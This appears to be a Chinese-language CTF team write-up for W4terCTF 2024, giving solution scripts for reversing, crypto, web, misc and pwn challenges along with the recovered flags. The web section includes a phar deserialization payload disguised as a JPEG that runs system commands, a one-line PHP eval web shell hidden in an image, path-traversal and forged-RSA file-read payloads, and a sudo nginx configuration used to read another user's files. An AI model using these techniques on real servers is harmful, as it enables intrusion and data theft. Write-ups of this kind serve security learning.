byte_41B520 = [i ^ b ^ 0x33 for b, i in zip(range(0,49), byte_41B000)]

# 将byte_41B520转换为字符串
str_41B520 = ''.join(chr(b) for b in byte_41B520)

print(str_41B520)
#iT_is_A_r341ly_S7raN6E_Mes5AGEBOX_8UT_HooK_is_fun

nor

嵌套函数太多了,一开始都看蒙了,然后一个一个分析从最小的开始其实就是异或门、与门和或门,构成的第一个函数的作用就是最关键的是这个函数,他的功能实际上就是加法器

接下来两个函数的功能就显而易见了

Untitled 7

1
2
3
4
5
6
enc=[15, 9, 16, 14, 16, 12, 63, 29, 23, 49, 23, 12, 63, 8, 55, 49, 39, 57, 35, 20, 13, 24, 43, 57, 17, 234, 229, 239, 52, 0, 5, 24, 9, 23, 227, 53, 14, 236, 227, 243, 62, 29]
dec=''
for i in range(42):
dec+=chr((enc[i]^102)-i)
print(dec)
#intereStiNg_MaCH1N3_Wi7H_sin6IE_OPc0De_n0R

古老的语言

检测文件发现要用vb打开,然后没有提示一直不知道这个反编译竟然有问题,关掉优化后就可以看到完整代码。可以说vb的语言是真的有点恶心,参数又多又杂。翻译成正常的就是第一层将每个字符转成对应数值的16进制数,每四个依次构成一个八位十六进制数,共十二个。

接下来就是恶心的feistel网络加密,第一次接触不知道这个怎么逆运算,还有就是雷哥sublong函数的干扰导致一直有一堆错误。实际上就是加密过程和解密基本一样,key不用变,就是temp需要从尾巴开始然后一组三个部分得从后往前算。temp的值我一直算不对,查了才发现是sublong()的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <stdio.h>

long AddLong(long lX, long lY) {
long var_98 = (lX & -2147483648);
long var_9C = (lY & -2147483648);
long var_90 = (lX & 0x40000000);
long var_94 = (lY & 0x40000000);
long var_A0 = ((lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF));
if (var_90 & var_94) {
var_A0 = var_A0 ^ -2147483648 ^ var_98 ^ var_9C;
} else if (var_90 | var_94) {
if (var_A0 & 0x40000000) {
var_A0 = var_A0 ^ -1073741824 ^ var_98 ^ var_9C;
} else {
var_A0 = var_A0 ^ 0x40000000 ^ var_98 ^ var_9C;
}
} else {
var_A0 = var_A0 ^ var_98 ^ var_9C;
}
return var_A0;
}

long LeftRotateLong(long lValue, int lBits) {
lBits = lBits % 32;
long var_98 = lValue;
if (lBits == 0) {
return var_98;
}
for (int i = 1; i <= lBits; i++) {
long var_90 = (var_98 & 0x40000000);
var_98 = ((var_98 & 0x3FFFFFFF) * 2);
if (var_90 & 0x40000000) {
var_98 = (var_98 | 0x80000000);
}
}
return var_98;
}

long RightRotateLong(long lValue, int lBits) {
lBits = lBits % 32;
long var_98 = lValue;
if (lBits == 0) {
return var_98;
}
for (int i = 1; i <= lBits; i++) {
long var_90 = (var_98 & 0x80000000);
var_98 = (long)((double)(var_98 & 0x7FFFFFFE) / 2.0);
if (var_90) {
var_98 = (var_98 | 0x40000000);
}
}
return var_98;
}

void decrypt( long* first) {
long sum0 = 0;
long delta = -1640531527;
long key1 = -559038737;
long key2 = -1161901314;
for (int i = 0; i < 32; i++) {
sum0 = AddLong(sum0, delta);
}
for (int i = 0; i < 12; i += 3) {
long sum = sum0;
for (int j = 32; j > 0; j--) {
first[i+2] = first[i+2] ^ AddLong(AddLong((LeftRotateLong(first[i], 4) ^ key1), first[i] ^ sum), RightRotateLong(first[i], 5) ^ key2);
first[i+1] = first[i+1] ^ AddLong(AddLong((LeftRotateLong(first[i+2], 4) ^ key1), first[i+2] ^ sum), RightRotateLong(first[i+2], 5) ^ key2);
first[i] = first[i] ^ AddLong(AddLong((LeftRotateLong(first[i+1], 4) ^ key1), first[i+1] ^ sum), RightRotateLong(first[i+1], 5) ^ key2);
sum -=delta;
}
if(sum==0)
printf("success\n");
else
printf("sum=%ld\n",sum);
}
}
void hexToAscii(long hex) {
for (int i = 3; i >= 0; i--) {
char ascii = (hex >> (i * 8)) & 0xFF;
printf("%c", ascii);
}
}
int main() {
long second[] = {0x43B8FCAA,-665053883,0x56D39844,
-642155210,-1738731608,-1749042081,
0x25111FBC,0x21EF722F,0x1BB24871,
-2024195415,-483300007,-2138971017};
decrypt(second);
for (int i = 0; i < 12; i++) {
hexToAscii(second[i]);
}
return 0;
}
#W4terCTF{TIme_to_USe_moD3RN_LaNGU4gE5_IIKE_ru57}

Crabs

第一部分简单异或:

1
2
3
4
5
6
a='l2v\Q0YCzh}TMR~csegaQJA&LQEV]iL.x~cm@'
b=''
for i in range(37):
b+=chr(i^ord(a[i]))
print(b)
#l3t_U5_Draw_A_plcturE_W1TH_MAtR1X_ANd

第二部分分析出来是矩阵乘法,那就逆运算

矩阵求逆可以使用sagemath中的函数

即在整数域上进行求逆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from sage.all import *
a=Matrix(ZZ,[[4,35,25,23,13,25,40,23,42,27,28,39,25,31,43,6,45],
[44,39,34,37,22,9,39,47,27,21,46,4,48,48,44,39,2],
[8,29,12,36,16,4,34,34,42,27,27,43,40,21,39,32,0],
[46,10,3,20,2,46,48,13,25,6,24,16,26,26,25,11,13],
[5,32,22,46,6,39,37,21,43,26,40,20,26,0,9,44,23],
[8,10,20,8,19,48,6,22,9,12,24,36,5,7,39,5,32],
[27,14,19,48,34,32,3,42,34,46,27,42,30,33,36,28,37],
[12,41,6,25,27,1,6,1,6,13,33,3,43,0,5,20,18],
[41,21,41,16,48,41,34,8,8,49,46,15,44,18,10,7,46],
[9,21,48,15,30,18,20,42,7,39,35,31,15,43,39,18,2],
[45,5,38,1,35,46,47,37,17,40,3,8,0,46,41,2,44],
[40,7,3,48,1,27,22,5,46,20,34,48,19,46,31,9,22],
[30,26,3,16,5,12,34,20,33,10,27,26,17,46,45,32,28],
[12,19,31,10,34,4,22,33,18,33,3,37,4,42,49,10,41],
[23,49,27,16,15,12,20,43,38,25,38,40,5,24,15,2,43],
[19,16,12,21,30,36,10,3,10,43,9,6,21,32,22,23,6],
[8,32,48,31,21,41,13,16,20,4,0,8,49,16,9,11,44]])
b=Matrix(ZZ,[[14487,14845,14720,15333,13190,16866,15824,14888,15827,16356,15636,15374,14942,18116,18038,10367,16975],
[13892,15355,15536,15027,13904,16628,15569,15024,15011,16832,16384,15204,15622,17589,17647,10605,16669],
[13569,14692,13547,15027,13156,14945,15025,14752,15147,15846,15738,15340,14942,17385,18327,11098,16380],
[14436,14675,14482,15945,13462,16611,15467,14837,15691,16203,15857,15357,15741,17725,18106,10758,17077],
[14351,14301,13904,14806,12833,16169,15603,14616,15487,16288,15636,15238,14109,17844,17885,10180,16227]
])
x=a.solve_left(b)
print(x)

根据得到的结果对照可得:

Shuffle Puts

签到题,打开ida,查看反编译代码即可找到flag

DouDou

很可惜比赛结束几分钟才做出来否则就第三了

先是js解混淆,用网站https://deobfuscate.relative.im

然后观察可以发现主要是用到e函数进行加密是个aes加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
87, 52, 116, 101, 114, 68, 114, 48, 112, 67, 84, 70, 50, 48, 50, 52, 82
#这个是key
r = '4b000aec37eca4a5adb8a52427dcb15d',
A = 'a6c7b217309e01aaea328e8479b778bd',
s = '9f71e0e08533b2cc8202224390d80e2d',
y = '9e7383abc24a6165d60c6a69eccf07fd',
B = 'b1ecc9f97265c94458bbd4a921cf8bc3',
F = 'dd6e52061e848546cfd52b695da8505e',
w = '16802967647e60ad8a61a2a46d97ce3e',
Q = '2a3c98a735e280b9f232c27cdbf710d5',
b = 'ce0722b99e13a6240b84d8a54ecfb11a',
p = '65afef999dcada31a39a7c70b570a1c3',
i = '8702aa3410ff1bf13d36310da6ea8df3',
f = 'd2dceedae2b841966e6611ab0f2a73d2'
#这个是密文

python解aes的ecb模式,然后最后还有个异或的小加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
from binascii import a2b_hex

def decrypt(text):
key = "W4terDr0pCTF2024".encode("utf-8")
mode = AES.MODE_ECB
# 将16进制字符串转回字节串
text = a2b_hex(text)
d = b""
# 反向异或操作
for i in range(len(text)):
d += (text[i] ^ 0x99).to_bytes(
length=1, byteorder="little", signed=False
)
cryptos = AES.new(key, mode)
# 解密
plain_text = cryptos.decrypt(d)
return plain_text
s='122211031133122111031133102112320313030313020303130303131021103203121133100112321210113303211311031013101011110210321201130211211133122111031133031010301103030011331212111110321032132102010201'
for i in range (0,len(s),4):
print(chr(int(s[i:i+4],4)),end='')
#jS_iS_In73r3s7IN6_And_9u4tERNarY_iS_4LS0_fUNNy!!

Web(5题)

Auto Unserialize

  1. 题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);
class command_test{
public $command = "echo 'test'";
public function __destruct(){
eval($this->command);
}
}

if (!empty($_FILES['file']['tmp_name'])) {
$tmpName = $_FILES['file']['tmp_name'];

if (is_uploaded_file($tmpName)) {
if (move_uploaded_file($tmpName, "/var/www/html/check.jpg")) {
echo "Upload successful.";
} else {
die("Error in file upload.");
}
}

if (is_file('check.jpg')) {
if (getimagesize('check.jpg') === false) {
unlink('check.jpg');
die("I like images but not this");
}
}
}

if (isset($_GET['img_file'])) {
if (file_exists($_GET['img_file'])) {
echo "Success";
} else {
echo "Failed";
}
}
?>

file_exists("phar://./phar.phar")
file_exists("phar://./1.phar")

/?img_file=phar://var/www/html/check.jpg
/?img_file=check.jpg
  1. 找不到上传入口
  2. 尝试phar
  3. 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class command_test
{
public $command = "system('cd ..;cd ..;cd ..;ls;cat flag;');";
}

$jpeg_header_size =

"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13" .

"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02" .

"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15" .

"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14" .

"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01" .

"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03" .

"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11" .

"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20" .

"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01" .

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda" .

"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("2.phar");

$phar->startBuffering();

$phar->addFromString("test.txt", "test");

$phar->setStub($jpeg_header_size . " __HALT_COMPILER(); ?>");

$o = new command_test();

$phar->setMetadata($o);

$phar->stopBuffering();

伪装成图片的php脚本,[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测-CSDN博客

GitZip

1
2
3
4
5
https://gitzip.org/
https://github.com/GitZip/gitzip.org
这样的网站也会有漏洞,想不到吧!

FLAG in /tmp/flag
  1. 以上信息为误导信息

代码审计 在routes.js下发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// =====================================
// Web pages ===========================
// =====================================
app.get('/', function(req, res){
res.sendFile(path.resolve(__dirname, '../', 'views/index.html'));
});

app.get('/:htmlname', function(req, res){
var name = req.params.htmlname;
var requestPath = path.resolve(__dirname, '../', 'views/' + name);
if (fs.existsSync(requestPath)) {
// Do something
res.sendFile(requestPath);
}else{
res.status(404).send('Not found');
}
});

requestPath = path.resolve(__dirname, ‘../‘, ‘views/‘ + name);可以实现任意文件读取

构造payload发送 /../../../../tmp/flag 即可

注意这里 / 需要url编码发送

ASHBP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// admin.php
<?php
include("rsa.php");
include("download.php");
if($_POST['cre']){
if(rsa_decrypt($_POST['cre'])!='admin'){
echo "凭据无效!";
}
//cre == admin
else{
echo get_flag();
}
}
?>

// download.php
<?php
function get_flag()
{
//flag == ../../../../../flag.php
return file_get_contents(rsa_decrypt($_POST['flag']));
}
?>
1
14775389255996250411216234491594398597225320426770762975422890469577828503535104091379415228489273198358046401943260876011710151302917584011251292020040281850364872539746024731573514408002450980166506176411170339067674764112346684536466446872682133703656532806131002005225331131138722629857593002147478979920
1
79666064669479503565757120118709286898444254899330310219058760922164429110197921573000847542660084392313142620174005901857458000882449229909519256589590863981625176399350264565473435443654608599321087768154746622544760578697587251951582132434004866717504828270979795734234752815558491495085331626005167632606
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import * 
import base64
m=b'admin'
n = 116221867963354687757704081786892198117735405263389670479659585890012941016941472275609245862830614984647254340783748576991164688879246169843491703915372412360180824266586464924230649664903351315516847937141034095957845784486824474311707195475342290555230834843642331737823450945641094715991151831167822352641
e = 65537
c=pow(bytes_to_long(m), e, n)
strc=long_to_bytes(c)
#print(strc)
d=base64.b64encode(strc).decode()
print("d: ")
print(d)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
define("PUBLIC_PATH", "./src/rsa_pub.pem");

function rsa_encrypt($data)
{
$public_key = openssl_pkey_get_public(file_get_contents(PUBLIC_PATH));
printf("待加密数据: %s", $data);
printf("<br>");

openssl_public_encrypt($data, $crypted, $public_key);
printf("加密后数据: %s", $crypted);
printf("<br>");

$eb64_cry = base64_encode($crypted);
printf("发送的数据: %s", $eb64_cry);
printf("<br>");
return $eb64_cry;
$encoded_string = urlencode($eb64_cry);
printf("发送: %s", $encoded_string);
}

# / 1 / 2 / 3 / 4
# /var/www/html/index.php
#rsa_encrypt("admin");
rsa_encrypt("/var/../../../../../../../tmp/flag");
1
2
admin == IotOsOjglrGDbFkcILzBT/SCqkIAjJB14fv8L555NDT3ydDRVRCDIi7tDpUCBusfg2O3nmJTwt3EuPFcZoYVT05/fzKHieVDg/NPsL4Z6OjPA55fuzFsoxzxnAn3Lt3m6jwmNvRUiXiyqZ6Vc1iIAqsd2EtXN7qf7YOBM67kl44=
flag == eiEle7g73j4Qd0uOw3TKSwYLmlG1Wz/yhfMy48fBwxp+148n/DW3W3ZkJ6jnVj0lvTvsfYlo4VBTWw3hCqI8wkRVW8RmF63aRmjxajKjD/dcZX2T+2vWe9ty7pQllAKOGKjsXwmKNbJKSRSVJmehLQeCd7or+7R57rY8vVxrxT4=
1
2

cre=%49%6f%74%4f%73%4f%6a%67%6c%72%47%44%62%46%6b%63%49%4c%7a%42%54%2f%53%43%71%6b%49%41%6a%4a%42%31%34%66%76%38%4c%35%35%35%4e%44%54%33%79%64%44%52%56%52%43%44%49%69%37%74%44%70%55%43%42%75%73%66%67%32%4f%33%6e%6d%4a%54%77%74%33%45%75%50%46%63%5a%6f%59%56%54%30%35%2f%66%7a%4b%48%69%65%56%44%67%2f%4e%50%73%4c%34%5a%36%4f%6a%50%41%35%35%66%75%7a%46%73%6f%78%7a%78%6e%41%6e%33%4c%74%33%6d%36%6a%77%6d%4e%76%52%55%69%58%69%79%71%5a%36%56%63%31%69%49%41%71%73%64%32%45%74%58%4e%37%71%66%37%59%4f%42%4d%36%37%6b%6c%34%34%3d&flag=%6e%6f%43%41%34%66%4d%79%39%4f%65%54%43%54%6d%6e%61%63%54%73%6e%41%61%48%63%6a%51%53%53%4b%56%67%38%4b%42%79%46%45%6c%36%73%41%43%4d%54%4e%47%62%63%64%59%2b%71%4d%46%77%48%55%4e%6b%57%75%31%44%36%44%32%46%62%2b%4e%55%5a%48%49%70%74%6b%53%62%52%65%39%42%39%38%79%78%42%6a%69%6d%42%6c%59%6f%41%51%77%50%37%53%36%74%44%6e%73%43%56%55%54%4d%54%4e%51%53%68%6e%72%6a%52%51%4e%51%4c%70%78%53%54%41%4f%41%30%54%32%30%30%5a%76%70%4b%6b%37%63%45%57%41%71%41%74%58%32%30%63%6e%7a%57%6a%6c%66%77%70%6e%6c%53%64%37%67%57%39%77%3d

背景/思路 :

通过admin.php POST发包实现 cre admin认证 + flag 任意文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
if ($_POST['cre']) {
if (rsa_decrypt($_POST['cre']) != 'admin') {
echo "凭据无效!";
} else {
echo get_flag();
}
}

function get_flag()
{
//flag == ../../../../../flag.php
return file_get_contents(rsa_decrypt($_POST['flag']));
}

PNG Server

nginx配置错误

上传小马 + /.php

其中小马因为检查的很严格 需要合并一张正常的图片带进去

1
2
<?php
eval($_POST[1]);

成功访问到的话可进一步使用antsword快速定位flag

2min秒了 没什么可说的

User Manager

SQL 盲注

除了给定的几个排序方法外 , 使用 Secret acs也可以排序

通过发包

1
2
3
4
5
6

{
"name":"W4terCTF_FLAG",
"secret":"W4terCTF{Discover_7h3_hlDdEN_114G_8y_b1iND_lnj3ctiNG_1nT0_tHE_useR_M4NA9er_591_DaTaBASE}",
"age":2024
}

其中

  1. 根据ascii排序 : 1-9 < _ <A-Z < a-z < }
  2. 采用二分法查找

Misc(ak)

Revenge of Vigenere

这道题脑洞还挺大的,首先给了一段非常长的没法下手的明文,然后我们注意到毫不相关的题目:维吉尼亚与盖伊·福克斯,一搜发现是一部电影《V字仇杀队》,那么密文很有可能是台词或者是信件旁白之类的,搜了一下果然是

Untitled 10

发现flag那一行不在里面,那就是根据已有的明文密文解码key,找了一句来解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
else:
gcd, x, y = extended_gcd(b % a, a)
return gcd, y - (b // a) * x, x

def mod_inverse(a, m):
gcd, x, y = extended_gcd(a, m)
if gcd != 1:
return -1
else:
return x % m
def find_key(plaintext, ciphertext):
key = ''
text_index = 1

for p_char, c_char in zip(plaintext, ciphertext):
if p_char.isalpha() and c_char.isalpha():
if p_char.isupper():
base = ord('A')
else:
base = ord('a')
if mod_inverse(text_index,26)!=-1:
if (text_index + 1) % 2 == 1:
key_offset = (mod_inverse(text_index,26)*(ord(c_char) - ord(p_char) + 26)) % 26
else:
key_offset = (mod_inverse(text_index,26)*(ord(p_char) - ord(c_char) + 26)) % 26
else:
key +=' '
text_index += 1
continue
key += chr(int(key_offset) + 65)
text_index += 1

return key

plaintext = "oila! In view, a humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of Fate."
ciphertext = "wgiz! Pt xezy, p nheknv nksiuaetloml dsnxvxx, uufb gqrmsejqatz az fqxl fmsnyb gar daqzhse hr jge bazsbeebwloq or Qiww."

key = find_key(plaintext, ciphertext)
print(f'The key is: {key}')
#The key is: S B J W P B P Z U B T I U S S B J W B T P Z U B T I U S S B W P B T P Z U B T I U S B J

得到结果三十一循环,但是key是10-20位所以是30的因数且满足10-20,可以知道是15,然后将他拼起来就可以解码维吉尼亚了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def decrypt_vigenere_variant(ciphertext, key):
key_index = 1
key_length = 15
plaintext = ''
text_index = 496

for char in ciphertext:
if char.isalpha():
key_char = key[key_index % key_length].upper()
key_offset = ord(key_char) - 65
if char.isupper():
base = ord('A')
else:
base = ord('a')

if (text_index + 1) % 2 == 1:
decrypted_char = chr(
(ord(char) - base - text_index * key_offset) % 26 + base)
else:
decrypted_char = chr(
(ord(char) - base + text_index * key_offset) % 26 + base)

plaintext += decrypted_char
key_index += 1
text_index += 1
else:
plaintext += char

return plaintext
# 用你的密钥替换 'YOUR_KEY',用你的密文替换 'YOUR_CIPHERTEXT'
key = 'PSZBUJBWTPIBUTS'
ciphertext = 'G4wivEMZ{MYDQaZX_ZnM_TK5d_rzUtN3Q3_GOloOL5_jCoZ_aVvr_lCRCsMRfq}'

plaintext = decrypt_vigenere_variant(ciphertext, key)
print(f'The plaintext is: {plaintext}')
#W4terCTF{BENEaTH_ThE_MA5k_vlGeN3R3_STrlKE5_bAcK_wIth_vENGeANce}

Spam 2024

垃圾邮件套娃

这题有四五关左右,也不知我的解法如何,但很有趣。
首先,与去年一样去spammimic去解第一层垃圾邮件

然后进行解十六进制,得出的字符串阅读性很差,观察得出是emoji的unnicode,使用html将unnicode直接转义得出emoji。

然后将emoji进行aes解码key为🔑

得到这个东西,很显然是base64+异或
用Cyberchef求解

看到了这个一看就很想flag的东东
剩的这一步很有趣,我是自己看出来奇数位都是对的
偶数位不是ACSII码值加4就是减4,然后后面根据“词频分析”进行手解的
以下是手解的图:

GZ GPT

观察输出,因为不是语言模型,所以输出的语句只是看起来也点区别,并不算完全随机

将gztime的话复制到txt文本之中

发现txt阅读器实际上读到的字符数比我们看到的要多

得出零宽字符隐写的结论

每一位的加密方式也有细微区别,但是除了正确解密基本上都是乱码 干扰较小

Sign In

找到W4terDr0p战队即可

Priv Escape

文件位置

1
2
3
4
5
# 系统配置文件
/etc/nginx/nginx.conf

# 个人配置文件
/home/W4terCTFPlayer/nginx.conf

写入个人文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
echo 'user r00t;
worker_processes auto;
pid /home/W4terCTFPlayer/nginx.pid;

events {
worker_connections 768;
}

http {
sendfile on;
autoindex on;
tcp_nopush on;
tcp_nodelay on;
gzip on;
server {
listen 80;
# 指定网站的根目录
root /home/r00t/;
autoindex on;
location / {
autoindex on;
try_files $uri $uri/ =404;
}
}
}' >> nginx.conf
1
2
3
sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf

curl http://localhost/tmp/flag

命令

1
2
3
4
5
6
7
8
9
10
11
nginx -g 'nginx.conf /home/W4terCTFPlayer/nginx.conf;'
/usr/sbin/nginx -t -c /home/W4terCTFPlayer/nginx.conf

# nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied)
2024/04/27 02:13:59 [warn] 69#69: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /home/W4terCTFPlayer/nginx.conf:1
2024/04/27 02:13:59 [warn] 69#69: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /home/W4terCTFPlayer/nginx.conf:1
2024/04/27 02:13:59 [emerg] 69#69: "worker_processes" directive is duplicate in /home/W4terCTFPlayer/nginx.conf:4

sudo nginx -g 'nginx.conf /home/W4terCTFPlayer/etc/nginx/new_error.log;'
sudo /usr/sbin/nginx -t -c /home/W4terCTFPlayer/nginx.conf
# 会弹出[sudo] password for W4terCTFPlayer:

问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-- 已解决 --

# 1. 用户身份
# 根据sudo -l (r00t)NOPASSWD: /usr/sbin/nginx 以及hint 不用提权到root但是以root身份执行命令
sudo -u r00t 启动 nginx

# 2. r00t无法访问/home/W4terCTFPlayer/nginx.conf
chmod 给文件夹和文件 777权限 (已经无所谓了QwQ

# 3. user+worker_processes报错重复定义 但是自定义conf里面并没有
删除了include /etc/nginx/modules-enabled/*.conf; 解决

# 4. sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf
W4terCTFPlayer@priv-escape-70de9e4003bb4a82:~$ sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf

nginx: [warn] the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /home/W4terCTFPlayer/nginx.conf:1
// 第一条警告是因为主进程不是r00t而是W4terCTFPlayer
// 不过设置user W仍然报错
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:811 failed (98: Unknown error)
nginx: [emerg] still could not bind()
怀疑是80端口占用了 改成了8080 811 57168 57169这些端口依然failed

# sudo -u r00t /usr/sbin/nginx -s stop
# ps 发现nginx并没有已经在运行的情况
# 换了五六个端口依然是failed
端口绑定失败,但是实际已经完成了创建
使用curl访问

curl http://localhost/home/r00t/tmp/flag

broken.mp4

根据视频内容我们可以发现刚好是一个修复视频的软件操作,直接找到并下载一把梭

Pwn(3题)

Python Wants Flags

玩多亿次就会发现这个有bug,好在我才用录频来玩才能抓住漏洞的产生:实际上就是当蛇吃到食物的时候尾巴会身长两格,然后就会覆盖掉储存的数组,这个是吃墙壁吃出来的,同理door也储存在同一个地方可以覆盖。然后撞墙的时候我发现我一次会被吃掉两格那么我们可以利用这个漏洞来打开墙壁。手操的过程极为痛苦,我后面直接暂停计算位置才艰难拿到flag

2048! 0x800 Edition!

一开始尝试了全是1输了很多,但是没啥效果,但我想想唯一有机会攻击的就是username那里,于是尝试了一下移动键输入,就碰对了。

Untitled

Remember It 0

问就是一个一个截屏截出来的